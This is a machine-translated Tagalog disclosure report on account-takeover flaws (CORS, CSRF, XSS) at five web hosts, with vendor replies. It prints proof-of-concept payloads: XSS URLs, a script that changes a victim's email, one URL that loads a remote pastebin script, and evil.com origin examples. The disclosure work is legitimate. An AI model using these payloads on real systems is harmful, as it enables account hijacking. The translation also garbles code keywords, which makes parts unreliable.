Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Ang ulat na ito ay unang nai-publish Enero 2019


Ang layunin ng pananaliksik na ito ay upang subukan at makita kung ang mga website na naka-host sa Bluehost, Dreamhost, HostGator, OVH, o iPage maaaring ikompromiso sa isang pag-click na kahinaan ng kliyente. Sa kasamaang palad, natagpuan namin ang hindi bababa sa isang kahinaan sa kliyente sa lahat ng mga platform na sinubukan namin, na nagpapahintulot sa pagkuha ng account kapag ang biktima ay nag-click sa isang link o bumisita sa isang nakakahamak na website.

Ang lahat ng mga platform na sinubukan namin ay tanyag na mga nagbibigay ng hosting na may isang makabuluhang bilang ng mga gumagamit. Sa Website ng Planet, ang aming layunin ay upang bigyan ang aming mga mambabasa ng pinaka matapat at nagbibigay-kaalaman na mga pagsusuri, at ang seguridad ay isang pangunahing kadahilanan. Iyon ang dahilan kung bakit nag-upa kami ng mga nakaranas ng mga mananaliksik ng seguridad sa pana-panahon upang subukan ang mga serbisyo na sinusuri namin. Kung nakakita kami ng kahinaan, iniuulat namin ang mga ito sa mga nagtitinda upang makagawa sila ng mga kinakailangang pagpapabuti.

Ang pananaliksik na ito ay ginawa ni Paulos Yibelo, isang bihasang tagapagpanaliksik ng seguridad na dati nang walang takip ang mga isyu sa iba’t ibang mga aparato at software.

Bluehost – Maramihang Mga Account Takeover at Impormasyon Leak Vulnerability

1. Ang Impormasyon Tumagas sa pamamagitan ng Mga Misconfigurations ng CORS

Lubha: Mataas

Epekto: Ang kahinaan na ito ay nagpapahintulot sa mga umaatake na magnakaw:

  1. Personal na Kinikilala na Impormasyon (PII) tulad ng pangalan, lokasyon (lungsod, kalye, estado, bansa), numero ng telepono, zip code, atbp.
  2. Bahagyang Mga Detalye ng Pagbabayad kabilang ang expiry month at taon ng credit card, huling 4 na numero ng credit card, pangalan sa credit card, uri ng credit card, at paraan ng pagbabayad.
  3. Mga token na maaaring magbigay ng access sa naka-host na WordPress, Mojo, SiteLock at iba’t ibang mga endpoints na suportado ng OAuth.

Ginagamit ng Bluehost ang cross-origin-resource-sharing (CORS) upang ibahagi ang mga mapagkukunan sa kanilang mga domain. Ang CORS ay isang mekanismo para sa nakakarelaks na Parehong Patakaran sa Pinagmulan upang paganahin ang komunikasyon sa pagitan ng mga website sa pamamagitan ng mga browser. Malinaw na naiintindihan na ang ilang mga pagsasaayos ng CORS ay mapanganib, ngunit ang ilang mga implikasyon ay madaling naiintindihan.

Matapos makita ang endpoint ng API para sa Bluehost na nagpapahintulot sa mga CORS para sa mga tukoy na domain, sinimulan naming subukang iwasan ang mga filter upang makita kung aling mga website ang dapat payagan na ma-access ang.

Maaaring paganahin ng mga website ang mga CORS sa pamamagitan ng pagpapadala ng sumusunod na header ng tugon ng HTTP:

Access-Control-Payagan-Pinagmulan:
https://my.bluehost.com/

Kung ang tugon sa itaas na HTTP ay makikita sa anumang website, sinasabi nito sa browser na payagan ang https://my.bluehost.com na basahin ang mga nilalaman nito..

Sa kaso ng Bluehost, nakita namin ang isang maluwag na regular na pagpapahayag na tinatanggap ang mga hindi malinaw na mga halaga. Halimbawa, kung ang browser na nagpapadala ng kahilingan ay nagmumula sa https://my.bluehost.com.evil.com, papayagan ito ng Bluehost sa pamamagitan ng pagtugon sa:

Access-Control-Payagan-Pinagmulan:
https://my.bluehost.com.evil.com

Tulad ng nakikita mo, sinuri lamang ng Bluehost ang mga unang string at hindi isinasaalang-alang kung ano ang dumating pagkatapos ng Bluehost.com. Nangangahulugan ito na ang mga nakakahamak na pag-atake ay maaaring mag-host ng isang subdomain na tinatawag na my.bluehost.com.EVILWEBSITE.com at pinapayagan ng Bluehost na mabasa ng EVILWEBSITE.com ang mga nilalaman nito..

Pagba-browse sa pamamagitan ng Bluehost, ibabalik ng end point ng API ang napaka “makatas” na impormasyon – mula sa personal na makikilalang impormasyon hanggang sa mga teknikal na pagtatapos na maaaring tumulo ng iba’t ibang mga token upang kunin ang isang naka-host na account sa Bluehost.

Una, sa pamamagitan ng pagpunta sa / api / mga endpoint ng mga gumagamit – isang tumatakbo ang maaaring tumagas ang user_id. Pagkatapos ay maaaring gamitin ng attacker ang user_id na ito sa query tungkol sa gumagamit na iyon at sa kanilang nilalaman. Ang nag-aatake ay maaari ring tumagas mga halaga tulad ng email, una at huling pangalan, lokasyon ng gumagamit, at mga token din na maaaring magbigay ng access sa kanilang WordPress, Mojo, SiteLock, at iba’t ibang mga pagtatapos.

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Tulad ng nakikita mo sa itaas, ang kahilingan sa website ay talagang naka-host sa evilwebsite.com at hindi sa Bluehost, ngunit pinahihintulutan ng Response ng API na basahin ang data nito sa tugon nito.

2. Pag-alis ng Account dahil sa hindi wastong pagpapatawad ng kahilingan ng JSON na CSRF

Lubha: Katamtamang Mataas

Epekto: Ang kahinaan na ito ay nagpapahintulot sa mga umaatake na baguhin ang email address ng sinumang gumagamit ng Bluehost sa address na kanilang napili, at pagkatapos ay i-reset ang password gamit ang kanilang bagong email upang makakuha ng kumpletong pag-access sa account ng biktima kapag ang isang biktima ay nag-click sa isang solong link o bumisita sa isang solong website.

Ang kahinaan na ito ay maaaring mapagsamantala dahil sa ilang maling mga pagsasaalang-alang sa paghawak ng Bluehost ng mga kahilingan at pagpapatunay sa kanila.

Kapag sinusubukan ng mga gumagamit na baguhin ang kanilang mga personal na detalye, tulad ng pangalan, numero ng telepono, address, o email, ipinapadala ng Bluehost ang sumusunod na kahilingan:

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Kung maingat kang tumingin, mapapansin mo na walang natatanging token na ipinadala kasama ang kahilingan na iyon. Nangangahulugan ito na ang anumang website ay maaaring magpadala ng kahilingan sa partikular na endpoint cross-origin, at mabago ang iyong mga detalye.

Karaniwan, hindi ito magiging posible dahil ang kahilingan ay nasa JSON, at kakailanganin ng isa na maikilos ang Adobe Flash Player upang maipadala ang naturang mga kahilingan – ngunit alam nating lahat ay patay na ang Flash. Gayunpaman, sa kaso ng Bluehost, pinahihintulutan ng mga espesyal na trick at server na maling gumana sa anumang browser, nang hindi gumagamit ng Flash:

Ang code sa itaas sa HTML ay bubuo ng isang kahilingan ng JSON na katulad sa kailangan namin, {"bansa":"US","telepono":"+1.NEWPHONE","kalye1":"BAGONG STREET","huling pangalan":"Huling pangalan","email":"[email protected]","lungsod":"N EW","postal_code":"0000","lalawigan":"wa","pangalan":"FirstName = ”, samahan":wala}

Dahil ang mga browser ay karaniwang nagdaragdag = (pantay na pag-sign) sa dulo ng pangalan ng pag-input, maaari naming manipulahin ang JSON upang isama ang pantay na pag-sign sa FirstName, at idagdag ang natitirang mga halaga sa “halaga” na katangian: samahan “: null}

Tulad ng nakikita mo, ang kahilingan ay ipapadala gamit ang Uri ng Nilalaman: teksto / plain at hindi application / json – ngunit hindi iniisip ni Bluehost, na gumagawa ng aming pagsasamantala sa trabaho na cross-origin.

Karaniwan, sinusuri ng Bluehost kung ang domain ng referrer ay bluehost.com – kung ang kahilingan ay ipinadala mula sa anumang iba pang website, tatanggihan ng Bluehost ang kahilingan na may 500 tugon.

Madali itong mapalampas sa pamamagitan ng paggamit ng Nilalaman = “no-referrer” sa meta tag, dahil kung walang ipinapadala na referrer, papayagan ng Bluehost ang kahilingan.

3. Man-In-The-Middle Dahil sa Hindi Tamang Pagwawasto ng CORS Scheme

Lubha: Katamtaman

Epekto: Ang kahinaan na ito ay nagbibigay-daan sa isang umaatake sa loob ng internet ng isang biktima, tulad ng pampublikong Wi-Fi o isang lokal na network (LAN) na basahin ang mga nilalaman ng trapikong nauugnay sa Bluehost ng biktima bilang payak na teksto, sa kabila ng Bluehost gamit ang trapiko ng SSL / HTTPS upang i-encrypt ang mga nilalaman nito..

Ang kahinaan na ito ay batay sa isyu # 1 (CORS Misconfigurasyon) – ngunit sa halip na hindi patunayan ang domain, sa kasong ito, hindi tinitiyak ng Bluehost ang scheme / protocol kapag pinapayagan itong basahin ang mga nilalaman nito..

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Tulad ng nakikita mo sa tugon, ang Bluehost ay nagbibigay ng isang domain ng HTTP, upang mabasa ang mga nilalaman nito. Sinasabi nito sa browser na payagan ang domain ng HTTP na ma-access ang mga nilalaman nito (hindi naka-encrypt) – ang pagbagsak ng pag-atake na ito ay ginagawang ang paggamit ng SSL Certificate ni Bluehost ay walang kabuluhan at natalo ang buong layunin ng paggamit ng isang kahilingan sa HTTPS sa unang lugar..

4. XSS sa my.bluehost.com na nagpapahintulot sa pagkuha ng account

Lubhang: Katamtaman Mataas

Epekto: ang kahinaan na ito ay nagbibigay-daan sa isang umaatake upang magsagawa ng mga utos bilang kliyente sa bluehost.com – nangangahulugan ito ng kakayahang magbago, magbago, at magdagdag ng nilalaman, kabilang ang email address. Maaaring basahin ng nagsasalakay ang nilalaman tungkol sa biktima, o baguhin ang nilalaman sa kanilang website kapag ang biktima ay nag-click sa isang nakakahamak na link o bumisita sa isang website.

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Dalawang mga isyu na may mababang epekto ay ginagawang hindi kapani-paniwalang mapanganib ang kahinaan. Ang una ay ang Bluehost ay hindi nangangailangan ng isang kasalukuyang password kapag binabago ang isang email address. Nangangahulugan ito na maaaring baguhin lamang ng isa ang email address at i-reset ang password sa pamamagitan ng paggamit ng XSS.

Ang pangalawa ay ang Bluehost na hindi nagtatakda ng anumang mga flag ng HttpOnly sa kanilang mga sensitibong cookies. Nangangahulugan ito na mai-access ng anumang JavaScript ang mga ito at ipadala ang mga ito sa isang nakakahamak na pag-atake, at maaaring gamitin ng attacker ang mga cookies upang mapatunayan bilang gumagamit.

PoC: https://my.bluehost.com/cgi/dm/subdomain/redirect?domainkey= ”>alerto (dokumento.d omain)

Tingnan ang video dito:

Mga Vulnerability ng Impormasyon sa Dreamhost XSS at Impormasyon

1. Account Takeover sa pamamagitan ng XSS

Lubha: Katamtamang Mataas

Epekto: Ang kahinaan na ito ay nagbibigay-daan sa isang umaatake na madaling baguhin ang email o password ng biktima sa anumang nais nila kapag ang biktima ay bumisita sa isang link o isang malisyosong website.

Ang payload:

https://panel.dreamhost.com/tree=domain.manage&kasalukuyang_step = Index&next_step = ShowAddhttp&domain =: lol ”>

Maaari itong mapalawak sa isang account sa pagkuha ng account dahil ang DreamHost ay hindi humiling ng isang password upang mabago ang iyong email address, kaya ang isang magsasalakay ay maaaring magsagawa lamang ng pag-atake ng CSRF gamit ang kahinaan ng XSS na ito upang kunin ang anumang account.

$ .ajax ({
url: "https://panel.dreamhost.com/id/?tab=contact&utos = i-edit",
pamamaraan: "POST",
uri ng datos: "html",
tagumpay: function (tugon)
{
var security_cookie =
$ (tugon) .find ("input [name = ‘security_cookie’]") .val ();
$ .post ( "https://panel.dreamhost.com/id/?", {tab: "pakikipag-ugnay",
utos: "isumite_edit", security_cookie: security_cookie, prefix: "", una
: "Santa", gitna: "", huling: "Bluh", kakapusan: "", kalye1: "Nurit 103",
kalye2: "", lungsod: "Hindi", estado: "jerusalem" , zip: "90880" , bansa:
"IL" , email: "[email protected]",telepono:"+954.8888777",fax: "", chat:"",
twitter:"",url:""}) tapos na (function (data) {
console.log (data);
});
console.log (security_cookie);
},
error: function (error)
{
console.log ($ error);
}
});

Ang nasa itaas na JavaScript, kapag naisakatuparan ng panel.dreamhost.com, binabago ang naka-log in sa email address sa [email protected] – maaari itong gawin sa kahinaan ng XSS.

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step = ShowAddhttp&domain =: lol% 22% 3E% 0A% 3Cscript% 20async% 20src =% 22 // pastebin.com / hilaw / 65CayjA7% 22% 3E% 3C / script% 3E% 0A% 3Cscript% 3E% 20var% 20x% 20 =% 20% 22 / *

Kapag ang isang biktima ay bumibisita sa link sa itaas sa pa rin, palitan nila ang kanilang email address sa mga umaatake.

Tingnan ang video dito:

Ang Pagbubunyag ng Impormasyon ng HostGator at Maramihang Mga Vulnerability

1. Sitewide CSRF Protection Bypass na nagpapahintulot sa kumpletong kontrol

Lubhang: Mataas

Epekto: Ang kahinaan na ito ay umiiral sa buong seksyon ng account ng gumagamit ng website. Ang isang magsasalakay ay maaaring magdagdag, mag-edit, o magbago ng anumang halaga sa profile ng biktima, kabilang ang email address at personal na impormasyon, kapag ang isang biktima ay nag-click sa isang link o bumisita sa isang nakakahamak na website.

Ang HostGator ay karaniwang gumagamit ng mga token ng anti-CSRF na may anumang pagsusumite ng form. Gayunpaman, maaaring mailigaw ang server upang huwag pansinin ang mga token na anti-CSRF sa pamamagitan ng pagpapalit ng token na parameter ng POST sa token [] = at iwanan itong walang laman – pinapayagan nito ang pass pass ng CSRF. Inaasahan ko na maaaring ito ay isang kahinaan sa Uri ng Juggling, na may halimbawang code ng pseudo:

kung (strcasecmp ($ _ GET [‘token’],"$ csrf_token") == 0) {

Ang function sa itaas ay maaaring magmukhang sapat para sa karamihan ng mga programmer, lalo na kung lumipat sila mula sa C / C ++ sa pagbuo ng web. Bagaman ang pag-andar ay mukhang susuriin lamang ang totoo kung pareho ang mga string, ito rin ang kaso na kung ang isang array ay ibinigay sa variable, kung gayon ang isang tugon ng NULL ay ibinalik. Ayon sa paghahambing ng PHP, halimbawa, ang Null ay talagang 0. Kaya, ipapasa ito bilang wasto!

data = pagbabago&token [] =

Ang pangalawang anti-CSRF token na mayroon sila ay isang tseke batay sa referrer. Sinusuri nila kung ang kahilingan ay nagmula sa http://portal.hostgator.com/anything? – ngunit madali itong maiiwasan sa pamamagitan ng paggamit ng isang bukas na pag-redirect sa website, na karaniwan sa mga nasabing lugar.

2. Maramihang Mga Mali Misconfigurations na humahantong sa Impormasyon Tumagas at CRLF

A. Maliit na Impormasyon

Lubha: Katamtamang Mataas

Epekto: Ang kahinaan na ito ay nagbibigay-daan sa mga umaatake na basahin ang mga tugon ng API na nagmumula sa HostGator dahil sa isang maling koneksyon sa CORS. Ang tugon ng API ay tumugon sa buong detalye ng customer at domain.

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Tulad ng nakikita mo sa Access-Control-Allow-Source response mula sa HostGator, pinapayagan nito ang evil.com (halimbawa ng domain name) na ma-access ang mga nilalaman ng tugon.

Ito ay dahil sa mahina na regular na expression ng HostGator upang tumugma sa kung anong mga domain ang pinapayagan na basahin ang tugon nito. Pinapayagan nito ang anumang website na nagtatapos sa .hostgator.com pass – nangangahulugan ito ng pagpapadala ng mga payload tulad ng: http://evil.com/?null=portal.hostgator.com at evil.com \ @. Hostgator.com. Ang katotohanan na ang anumang character ay pinahihintulutan bago .hostgator.com ay lumilikha ng lahat ng mga uri ng mga isyu.

B. CRLF Injection sa Microsoft Edge at Internet Explorer

Lubha: Katamtaman

Epekto: Ang kahinaan na ito ay nakakaapekto lamang sa mga gumagamit ng HostGator na gumagamit ng Microsoft Edge at Internet Explorer. Pinapayagan nito ang mga umaatake na mag-iniksyon ng mga bagong header at posibleng magpatupad ng mga script sa client-side.

Ang tunay na katotohanan na ang anumang character na ipinadala ay tumugon sa tugon ng header ng CORS nang walang anumang pag-encode o kahit na suriin ito para sa mga iligal na character tulad ng, ay nangangahulugang mayroon kaming kahinaan sa pagkakasulat ng header ng HTTP laban sa mga gumagamit ng IE / Edge bilang mga gumagamit ng Internet Explorer at Edge \ r (0x0d) bilang isang wastong HTTP header terminator:

C. Man-In-The-Middle Dahil sa Di-wastong Pagpapatunay ng CORS Scheme

Lubha: Katamtaman

Epekto: Ang kahinaan na ito ay nagbibigay-daan sa isang umaatake sa loob ng trapiko sa internet ng isang biktima, tulad ng pampublikong Wi-Fi o isang lokal na network (LAN), upang mabasa ang mga nilalaman ng HostGator API na nauugnay sa trapiko bilang payak na teksto, sa kabila ng HostGator na gumagamit ng wastong trapiko ng SSL / HTTPS sa i-encrypt ang mga nilalaman nito.

Tulad ng nakikita sa # 1A screenshot – anupat tinatanggap ang anumang bagay sa Access-Control-Allow-Origin kung magtatapos ito sa .hostgator.com. Nangangahulugan din ito ng anumang protocol o scheme, tulad ng nakikita mo sa screenshot sa itaas – http://anything.hostgator.com ay nagbibigay-daan sa isang lokal na attacker na basahin ang tugon ng HTTPS sa pamamagitan ng paggamit ng CORS. Ang kahinaan na ito ay hindi lamang nangangahulugang ang anumang XSS o isang katulad na kahinaan na naka-host sa anumang HostGator subdomain ay nagtrabaho, ngunit ang sinumang lokal na network na nagsasalakay na makakabasa ng mga tugon ng CORS.

Tingnan ang video dito:

Ang Pagbubunyag ng Impormasyon ng OVH at Maramihang Mga Vulnerability

1. CSRF proteksyon Bypass

Lubha: Mataas

Epekto: Ang kahinaan na ito ay umiiral sa buong website. Ang isang magsasalakay ay maaaring magdagdag, mag-edit, o magbago ng anumang halaga sa profile ng biktima, kabilang ang email address at personal na impormasyon, kapag ang isang na-verify na biktima ay nag-click sa isang link o bumisita sa isang nakakahamak na website.

Ang OVH ay nagtanim ng dalawang uri ng panlaban sa anti-CSRF. Isa ay suriin ang Uri ng Nilalaman-Uri ng kahilingan ay aplikasyon / json at ang pangalawa ay tinitiyak kung ang website ng referrer ay “ovh.com”. Babaguhin natin kung bakit hindi ito sapat.

Habang ang dalawang ito ay hindi normal na mai-forged ng ibang mga website, nahanap namin ang mga simpleng bypasses na nagtrabaho para sa OVH sa alinman sa mga kaso.

xhr.setRequestHeader (‘Uri ng Uri ng Nilalaman’, ‘text / plain; application / json’);

Tumanggi ang mga Browser na magpadala aplikasyon / json bilang isang Uri ng Nilalaman, gayunpaman sa pamamagitan ng pagpapadala ‘teksto / payak; aplikasyon / json‘- Pinahihintulutan na pumasa ang kahilingan, tila titingnan lamang ng server kung aplikasyon / json ay naglalaman ng header ng Nilalaman-Uri ng Nilalaman.

Ang pangalawang proteksyon ay ang tseke ng referrer, karaniwang mga tseke ng referrer ay malawak na hindi maunawaan at madaling maiiwasan ang mga countermeasures.

Sa kaso ng OVH: habang sinuri ng server ang kahilingan ay nagmula sa “ovh.com” – hindi ito nagmamalasakit sa pamamaraan – kapwa ang mga bersyon ng HTTP at HTTPS ng “ovh.com” ay tinanggap bilang wastong mga referral. Sa anumang uri ng kaso ng MITM, maaaring masamsam ng isang tao ang DNS ng http://ovh.com (HTTP, inatake na inatake na kontra sa pag-atake) – kapag ang mga biktima ay nagba-browse, i-redirect ang mga ito sa https://ovh.com (HTTPS) kasama ang CSRF payload, ito epektibong nasira ang referrer check dahil ang parehong mga scheme ng HTTP at HTTPS ay pinapayagan dito. (Ito ay dahil sa ang katunayan kung paano hindi ipinatutupad ng OVH ang HSTS, ngunit madaling mapaliit sa paggawa nito)

Ang mga proteksyon na nakabase sa referral na CSRF ay karaniwang walang saysay kahit na para sa isang hindi gaanong kilalang katotohanan, mga browser. Maraming mga pangunahing browser ang may mga bug ng seguridad na isinasaalang-alang nila LABI prayoridad sa WONTFIX na nagbibigay-daan sa mga website na sakupin ang kanilang mga referral. Sa kaso ng Microsoft Edge, halimbawa, natagpuan ni Manuel Caballero ang isang magandang bug ng referrer spoof na hindi pa rin maayos sa browser (at malamang na hindi anumang oras sa lalong madaling panahon) – ang mga website na nag-relay at nagtitiwala sa mga browser na nagpapadala sa kanila ng data na maaaring makontrol ng gumagamit ay nagdudulot ng isang seryosong problema.

Upang buod:

– Salamat sa kung paano gumagana ang Google Mail, isang email na ipinadala sa [email protected] ay talagang pupunta sa [email protected] – kaya sa pamamagitan ng pagpapadala ng:

{“NewEmail”: “[email protected]”}

may ‘text / plain; header ng Nilalaman-Uri ng application / json, maaaring mabago ng isa ang email gamit ang mga HTML form. Ang referrer ay maaaring masira gamit ang mga bug ng browser, o sa MITM.

iPage Account Takeover at Maramihang Vulnerability

1. Pag-alis ng Account

Lubha: Mataas

Epekto: Ang kahinaan na ito ay nagbibigay-daan sa isang umaatake na malayuan ang anumang account sa iPage, kapag ang biktima ay nag-click lamang ng isang link o bumisita sa isang website.

Ang kahinaan na ito ay dahil sa isang kakaibang tampok na iPage ay nasa kanilang pahina ng Change Password. Hindi kinakailangan ng iPage ang iyong dating / kasalukuyang password upang mabago ang iyong password, at walang natatanging mga token na nauugnay sa kahilingan.

Nangangahulugan ito na ang anumang website ay maaaring magpadala ng kahilingan sa cross-origin na may isang bagong password sa iPage, kasama ang username ng biktima, at ang iPage ay magbabago ng kanilang password sa kung ano man ang gusto ng attacker..

https://www1.ipage.com/api/2.0/user/ipg.username/password

Ulat: Sinubukan namin ang 5 Mga sikat na kumpanya ng Hosting sa Web at Lahat ng Madaling Na-hack

Tulad ng nakikita mo sa itaas na kahilingan, ang identifier ay ipg.username, na walang ipinapadala na referrer, o natatanging mga token – na nagpapahintulot sa pagkuha ng account mula sa cross-origin!

2. Maramihang Mga Patakaran sa Seguridad ng Nilalaman sa Nilalaman

Lubha: Katamtaman

Epekto: Pinapayagan nito ang mga umaatake na magsagawa ng pag-atake sa pag-click sa anumang mga tugon ng API ng iPage, at upang malampasan ang CSP na may nilalaman at pag-atake ng script-injection..

Ginagamit ng iPage ang Nilalaman-Seguridad-Patakaran upang maprotektahan ang mga pagtatapos ng API, dapat na itigil doon ang mga magsasalakay na mag-iniksyon ng nilalaman upang hindi nila maisagawa ang mga nakakahamong script, at payagan lamang ang ilang mga pahina na balangkasin ang pagtatapos ng tugon sa API.

Mukhang ganito:

Nilalaman-Seguridad-Patakaran: sarili ng frame-ninuno ‘http: //*.impress.ly http: //*.dragndropbuilder.com https: //*.weeblycloud.com https: //*.sitelock.com https: //*.mojomarketplace.com http: //*.ipage.com http: //*.yourhostingaccount.com https: //*.ecwid.com

X-Frame-options: SAMEORIGIN LAHAT-MULA SA http: //*.impress.ly http: //*.dragndropbuilder.com https: //*.weeblycloud.com https: //*.sitelock.com https: // * .mojomarketplace.com http: //*.ipage.com http: //*.yourhostingaccount.com https: //*.ecwid.com

Tulad ng nakikita mo, maraming mga pangunahing susi at mga sangkap na nawawala:

A. Man-In-The-Middle Attack sa mga frame-ninuno

Kung maingat kang tumingin, maaari mong makita ang katangian ng frame-ninuno na nagpapahintulot sa maraming mga pahina ng HTTP (hindi naka-encrypt) upang i-frame ito. Nangangahulugan ito na ang anumang lokal na pag-atake sa isang Wi-Fi network o pampublikong internet ay maaaring mag-host ng isang domain ng HTTP na nasisira ang address, at papayagan ng iPage ang mga tugon nito na mai-frame sa pamamagitan nito.

Isinasaalang-alang ang ilang mga browser, tulad ng Internet Explorer 11, ay hindi sumusuporta sa CSP, mayroon din silang header na X-Frame-Options na sinasabi ang parehong bagay – ngunit tulad ng nakikita mo, pinapayagan din ng isang ito ang parehong mga domain ng HTTP tulad ng http: // * .impress.ly, http: //*.ipage.com, at higit pa.

B. Kumpletong Bypass Dahil sa Nawawalang Mga Katangian

Tulad ng nakikita mo, ang CSP ay walang script-src o mga object-src tag, nangangahulugang anumang mang-aatake na natagpuan ang anumang pagtatapos ng pag-iniksyon ng HTML ay maaaring magsagawa ng mga pag-atake sa script ng cross-site.

Tingnan ang video dito:

Ang Aftermath

Enero 15, 2019

Sa limang mga host ng web na sinubukan namin, nalaman namin na ang lahat ay madaling mai-hack. Nangangahulugan ito na anuman ang pag-host ng serbisyo na ginagamit mo, dapat mong palaging siguraduhin na gumawa ng karagdagang mga hakbang upang mapahusay ang seguridad ng iyong website. Ang Idan Ben O, ang eksperto sa SEO ay nabanggit: “Ang pangunahing takeaway na nakikita natin ay kahit na ang pinakamalaking mga web host ay nagdurusa mula sa pag-iipon ng imprastraktura at ang isang bug ay madaling maipasok upang ma-target ang anim-plus milyong mga domain na sakop ng mga tagapagkaloob na ito. At dahil dito, ang mga hacker ay hindi kailangan ng ilang uri ng masalimuot na pag-atake, maaari silang lumakad nang diretso sa harap ng pintuan. “

Mga sagot

Pangarap ang unang tumugon sa aming ulat, na nagsasabing:

Una, nais kong pasalamatan ka sa pag-abiso sa amin ng pagsasamantala at kahinaan na ito.

Naniniwala ako na ang responsableng pagsisiwalat at kakayahang makita sa mga security flaws ay tumutulong na gawing mas ligtas na lugar ang internet para sa lahat.

Kasalukuyan kaming mayroong isang pag-aayos sa produksiyon na dapat maiwasan ang pag-agaw sa CSRF mula sa aming lumang panel.dreamhost.com/id/ magsumite ng mga form at nagsusumikap upang madagdagan ang seguridad at i-sanitize ang mga input sa buong natitirang mga endpoints.

Natanggap din namin ang sumusunod na tugon mula sa Endurance, na tumatakbo Bluehost, iPage, at HostGator:

Nais kong … ipaalam sa iyo na pagkatapos ng isang panloob na pagsusuri ng mga kahinaan na ibinahagi mo, gumawa kami ng mga hakbang upang matugunan at i-patch ang mga potensyal na kahinaan na iyong nakilala.

Mahalaga rin na tandaan na sa panahon ng aming proseso, Bluehost red-flag ang aming account at isinara ito nang hindi nakakahiya. Walang eksaktong dahilan na ibinigay; gayunpaman, dahil ito ay tapos na matapos na ang hack, maaari lamang nating isipin ito dahil nakita nila ang ginagawa namin. Magandang trabaho, Bluehost … ngunit medyo huli na.

Nais mong malaman ang higit pa tungkol sa kaligtasan ng website? Suriin ang mga artikulong ito:

10 Mga bagay na Maaari Natutuhan mula sa isang Paglabas ng Data ng Data ng Website

3 Mga Dahilan ng Mga Website ng WordPress Na-hack + Paano I-secure ang Iyo

Pinakamahusay na Mga Plugin ng WordPress para sa Seguridad – Panatilihing Ligtas ang Iyong Website

Jeffrey Wilson Administrator
Sorry! The Author has not filled his profile.
follow me
    Like this post? Please share to your friends:
    Adblock
    detector
    map